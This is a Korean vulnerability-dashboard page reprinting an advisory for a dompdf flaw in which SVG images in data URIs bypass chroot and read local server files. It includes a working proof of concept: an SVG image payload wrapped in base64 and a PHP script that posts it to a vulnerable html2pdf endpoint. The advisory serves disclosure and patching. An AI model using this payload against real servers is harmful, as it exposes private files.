Kestrel
대시보드로 돌아가기
CVE-2026-56722MEDIUMGHSA대응게시일: 2026. 07. 22.수정일: 2026. 07. 22.

Dompdf: Local file read due to improper file path validation in SVG images encoded as data-URI

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
medium

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한60일 이내CISA SSVC 기준

계획된 패치 주기 내 조치(60일 이내)

외부 노출· KEV 미등재 · 자동화 어려움 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

CVSS 벡터 정보 없음

상세 설명

Description: An attacker, who controls the HTML input supplied to dompdf, can read arbitrary images from the server’s file system, bypassing the chroot restriction. The vulnerability is exploitable in the default configuration.
Exploitation conditions: An external user
Researcher: Nikita Sveshnikov (Positive Technologies)

Research

dompdf restricts access to local files using the chroot mechanism. By default, chroot is set to the root directory of dompdf (Options.php:350-351):

Listing 1. chroot settings

bash
1$rootDir = realpath(__DIR__ . "/../");
2$this->setChroot(array($rootDir));
3// result: chroot = ["/path/to/vendor/dompdf/dompdf"]

When the HTML references a local file, Options::validateLocalUri() checks that the path resides within сhroot. A direct link to the file outside this directory is correctly blocked:

Listing 2. Blocking link

text
1<!-- BLOCKED: /tmp/ is outside chroot -->
2<img src="file:///tmp/secret.png">

How the protection is bypassed:

An attacker wraps the link to the target file in SVG format and delivers it via data: URI:

Listing 3. Wrapping link in SVG

text
1<img src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0i...">

Inside the base64 payload is an SVG containing the <image> element that points to the target file:

Listing 4. Pointing to the target file

text
1<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"
2 width="589" height="415">
3 <image xlink:href="/tmp/secret.png" x="0" y="0" width="589" height="415"/>
4</svg>

Why the bypass works:

The issue is that dompdf handles the SVG twice: first through its own validator and then via  php-svg-lib — and the second pass does not apply the protection that the first pass does.

Step 1. The data:// protocol has no validation rules (Options.php:546-547):

Listing 5. Lack of rules

text
1case "data://":
2 break; // no rules

SVG content passes without any checks.

Step 2. dompdf pre‑parses the SVG and validates the links inside it (Cache.php:137-183), but incorrectly interprets the path of an external resource (image) reference when the SVG is data-URI encoded.

Step 3. When rendering, the PDF backend passes the SVG to php-svg-lib with external links enabled (lib/Cpdf.php:6315-6319):

Listing 6. Passing the SVG

bash
1$doc = new \Svg\Document();
2$doc->allowExternalReferences = true; // forced
3$doc->loadFile($file);

php-svg-lib is a separate library that has no information about the chroot directory or the dompdf validation rules.

Step 4. The <image> handler in php-svg-lib blocks only phar://, everything else is allowed when allowExternalReferences is true (php-svg-lib/src/Svg/Tag/Image.php:60-68):

Listing 7. phar:// blocking

bash
1if ($scheme === "phar"
2 || ($this->document->allowExternalReferences === false && $scheme !== "data")) {
3 return;
4}
5$this->document->getSurface()->drawImage($this->href, ...);

Step 5. drawImage() invokes file_get_contents() with no restrictions (php-svg-lib/src/Svg/Surface/SurfaceCpdf.php:171-172):

Listing 8. file_get_contents() call

bash
1$data = file_get_contents($image); // reads ANY path

There is no chroot check. No protocol validation. The file is read and embedded into the PDF.

An example of exploitation:

Listing 9. An example of a vulnerable code (html2pdf.php)

bash
1require_once __DIR__ . '/vendor/autoload.php';
2
3$dompdf = new Dompdf\Dompdf();
4$dompdf->loadHtml($_POST['html']);
5$dompdf->render();
6$dompdf->stream('poc.pdf', ['Attachment' => false]);

Listing 10. An example attack on the vulnerable code

bash
1$file = $_GET['file'] ?? '/tmp/user_files/user_1/private_image.png';
2
3$svg = '<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="589" height="415">'
4 . '<image xlink:href="' . htmlspecialchars($file, ENT_QUOTES) . '" x="0" y="0" width="589" height="415"/>'
5 . '</svg>';
6
7$html = '<html><body>'
8 . '<img src="data:image/svg+xml;base64,' . base64_encode($svg) . '">'
9 . '</body></html>';
10
11$url = 'http://example.com/html2pdf.php';
12$data = ['html' => $html];
13$headers = ["Content-type: application/x-www-form-urlencoded"];
14
15// use key 'http' even if you send the request to https://...
16$options = [
17 'http' => [
18 'header' => $headers,
19 'method' => 'POST',
20 'content' => http_build_query($data),
21 'ignore_errors' => true,
22 ],
23];
24$context = stream_context_create($options);
25$response = file_get_contents($url, false, $context);

Figure 1. The image was read successfully
<img width="875" height="404" alt="image" src="https://github.com/user-attachments/assets/9a4ba3b7-df24-4c20-9dc4-55104ad905c2" />

Credits

Nikita Sveshnikov (Positive Technologies)

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.